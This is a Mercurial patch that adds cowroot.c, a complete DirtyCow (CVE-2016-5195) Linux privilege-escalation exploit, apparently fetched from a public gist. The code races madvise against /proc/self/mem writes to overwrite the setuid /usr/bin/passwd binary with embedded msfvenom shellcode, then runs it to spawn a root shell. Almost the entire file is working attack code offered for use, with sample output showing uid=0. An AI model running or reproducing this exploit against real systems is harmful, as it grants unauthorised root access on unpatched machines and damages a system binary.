# HG changeset patch # User HackBot # Date 1477676457 0 # Node ID fbbda2a4668b5f79d4066ba9fe08baf2cdd6439d # Parent b87d7af6b1d73df674ea1b01f6a381c4bc314982 fetch https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c diff -r b87d7af6b1d7 -r fbbda2a4668b cowroot.c --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/cowroot.c Fri Oct 28 17:40:57 2016 +0000 @@ -0,0 +1,158 @@ +/* +* (un)comment correct payload first (x86 or x64)! +* +* $ gcc cowroot.c -o cowroot -pthread +* $ ./cowroot +* DirtyCow root privilege escalation +* Backing up /usr/bin/passwd.. to /tmp/bak +* Size of binary: 57048 +* Racing, this may take a while.. +* /usr/bin/passwd overwritten +* Popping root shell. +* Don't forget to restore /tmp/bak +* thread stopped +* thread stopped +* root@box:/root/cow# id +* uid=0(root) gid=1000(foo) groups=1000(foo) +* +* @robinverton +*/ + +#include +#include +#include +#include +#include +#include +#include + +void *map; +int f; +int stop = 0; +struct stat st; +char *name; +pthread_t pth1,pth2,pth3; + +// change if no permissions to read +char suid_binary[] = "/usr/bin/passwd"; + +/* +* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i +*/ +unsigned char sc[] = { + 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, + 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, + 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, + 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, + 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 +}; +unsigned int sc_len = 177; + +/* +* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i +unsigned char sc[] = { + 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, + 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, + 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, + 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, + 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, + 0x89, 0xe1, 0xcd, 0x80 +}; +unsigned int sc_len = 136; +*/ + +void *madviseThread(void *arg) +{ + char *str; + str=(char*)arg; + int i,c=0; + for(i=0;i<1000000 && !stop;i++) { + c+=madvise(map,100,MADV_DONTNEED); + } + printf("thread stopped\n"); +} + +void *procselfmemThread(void *arg) +{ + char *str; + str=(char*)arg; + int f=open("/proc/self/mem",O_RDWR); + int i,c=0; + for(i=0;i<1000000 && !stop;i++) { + lseek(f,map,SEEK_SET); + c+=write(f, str, sc_len); + } + printf("thread stopped\n"); +} + +void *waitForWrite(void *arg) { + char buf[sc_len]; + + for(;;) { + FILE *fp = fopen(suid_binary, "rb"); + + fread(buf, sc_len, 1, fp); + + if(memcmp(buf, sc, sc_len) == 0) { + printf("%s overwritten\n", suid_binary); + break; + } + + fclose(fp); + sleep(1); + } + + stop = 1; + + printf("Popping root shell.\n"); + printf("Don't forget to restore /tmp/bak\n"); + + system(suid_binary); +} + +int main(int argc,char *argv[]) { + char *backup; + + printf("DirtyCow root privilege escalation\n"); + printf("Backing up %s to /tmp/bak\n", suid_binary); + + asprintf(&backup, "cp %s /tmp/bak", suid_binary); + system(backup); + + f = open(suid_binary,O_RDONLY); + fstat(f,&st); + + printf("Size of binary: %d\n", st.st_size); + + char payload[st.st_size]; + memset(payload, 0x90, st.st_size); + memcpy(payload, sc, sc_len+1); + + map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); + + printf("Racing, this may take a while..\n"); + + pthread_create(&pth1, NULL, &madviseThread, suid_binary); + pthread_create(&pth2, NULL, &procselfmemThread, payload); + pthread_create(&pth3, NULL, &waitForWrite, NULL); + + pthread_join(pth3, NULL); + + return 0; +}